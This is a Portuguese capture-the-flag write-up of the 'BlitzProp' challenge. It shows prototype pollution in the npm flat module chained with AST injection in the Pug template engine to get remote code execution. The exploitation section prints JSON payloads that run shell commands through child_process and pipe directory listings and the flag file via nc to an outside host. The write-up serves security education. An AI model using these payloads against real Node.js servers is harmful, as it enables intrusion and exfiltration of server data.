Resumo

img

BlitzProp foi um desafio do CTF Cyber Apocalypse realizado pelo Hack The Box e Crypto Hack, envolveu vulnerabilidades como Prototype Pollution, que possibilita o AST Injection e evolui para RCE.

Recon

O desafio permitia o download do código fonte da aplicação, que utilizava como backend nodejs, as seguintes dependências existiam para o funcionamento da aplicação:

img

O módulo flat permite a transformação de um objeto javascript em JSON e vice-versa. Abaixo um exemplo da função unflatten, utilizada na aplicação.

var unflatten = require('flat').unflatten
unflatten({
 'three.levels.deep': 42,
 'three.levels': {
 nested: true
 }
})

// {
// 		three: {
// 			levels: {
// 					deep: 42,
// 					nested: true
// 					}
// 				}
// }

Já a dependência Pug se trata de um template engine, que permite concatenar tags HTMLs junto do código javascript, para renderizar um template pré-definido.

<!--
doctype html
html(lang\="en")
  head
    title\= pageTitle
    script(type\='text/javascript').
      if (foo) bar(1 + 5)
  body
    h1 Pug - node template engine
    #container.col
      if youAreUsingPug
        p You are amazing
      else
        p Get on it!
      p.
        Pug is a terse and simple templating language with a
        strong focus on performance and powerful features.
-->
 
<!-- Se torna: --> 

<!DOCTYPE html\>
<html lang\="en"\>
  <head\>
    <title\>Pug</title\>
    <script type\="text/javascript"\>
      if (foo) bar(1 + 5)
    </script\>
  </head\>
  <body\>
    <h1\>Pug - node template engine</h1\>
    <div id\="container" class\="col"\>
      <p\>You are amazing</p\>
      <p\>Pug is a terse and simple templating language with a strong focus on performance and powerful features.</p\>
    </div\>
  </body\>
</html\>

Como podemos visualizar no código abaixo, a aplicação recebe nosso corpo da requisição POST, aplica o unflatten nesta requisição e após isso compara com algumas das opções pré-definidas. Caso a string recebida no corpo da requisição estivesse dentro da comparação, o módulo pug é chamado para realizar um template para a resposta.

img

Podemos perceber que não há nenhuma função que rejeite a entrada de dados por parte da API, ou seja, ela recebe o body da requisição e acaba o processando.

Exploitation

Como toda avaliação de segurança, após o reconhecimento da aplicação é necessário realizar o levantamento de vulnerabilidades. Conforme anotado na sessão de reconhecimento, temos as dependências Pug na versão 3.0.0 e a dependência Flat na versão 5.0.0. Um dos melhores sites para pesquisar por vulnerabilidades em pacotes npm é o snyk.io, procurando pela versão do flat, é possível identificar que o mesmo é vulnerável a prototype pollution.

img

Prototype pollution é uma vulnerabilidade que afeta o javascript, se trata da capacidade de um agente malicioso injetar propriedades dentro de objetos. O Javascript permite que todos os atributos de objetos possam ser alterados, incluindo os seus atributos principais como __proto__, constructor e prototype.

Deste modo, para verificar se o módulo da API estava realmente vulnerável, enviei uma requisição JSON alterando o atributo song.name para que retornasse sempre verdadeiro.

img

Após esta requisição, todas as requisições para API retornam a compilação do template, comprovando a vulnerabilidade. Avaliando a vulnerabilidade do módulo flat, comecei a procurar por vulnerabilidades relacionadas com a dependência pug, foi onde encontrei uma vulnerabilidade de RCE, que permite uma execução de comandos caso seja possível controlar a opção pretty do compilador do pug. Porém, não se encaixa na nossa aplicação pois esta opção não é utilizada.

Pesquisando um pouco mais, foi possível encontrar este excelente artigo que entrelaça a vulnerabilidade de Prototype Pollution com AST-Injection, desencadeando um RCE em mecanismos de template como o pug, mostrado no artigo. Abstract Syntax Trees (ASTs) é a representação de código em árvore, são uma parte fundamental da maneira que um compilador trabalha.

Dessa forma, podemos realizar uma injeção de AST via prototype pollution, fazendo com que o compilador execute nosso código malicioso.

De acordo com este artigo, podemos realizar a injeção do código malicioso no compilador do pug, por meio do objeto block realizamos a alteração de uma variável de debug chamada pug_debug_line com o código abaixo:

{

	"__proto__.block": {

	 "type": "Text",

	 "line": "Alterar pug_debug_line"

	}

   }

Enviando a requisição acima acarreta na alteração do objeto e variável do compilador do pug, fazendo com que o texto contido em “line” seja processado. Por meio dessa poluição, conseguimos injetar um código malicioso e gerar execução remota de comandos no servidor, por meio do código abaixo:

{

	"__proto__.block": {

	 "type": "Text",

	 "line": "process.mainModule.require('child_process').execSync(`ls | nc [REDACTED] 12562`)"

	}

   }

E dessa forma conseguimos visualizar o nome da flag da challenge.

img

Enviamos outra requisição:

{

	"__proto__.block": {

	 "type": "Text",

	 "line": "process.mainModule.require('child_process').execSync(`cat flagYO1AC | nc [REDACTED] 12562`)"

	}

   }

E Voilà, desafio concluído!

img

Considerações Finais

Podemos perceber por meio deste desafio como a vulnerabilidade de prototype pollution pode ser perigosa para muitas aplicações, pois consegue interagir diretamente com todos os objetos. Este tipo de falha começa a ficar cada vez mais comum visto a ampla adoção de frameworks javascript e typescript no mercado.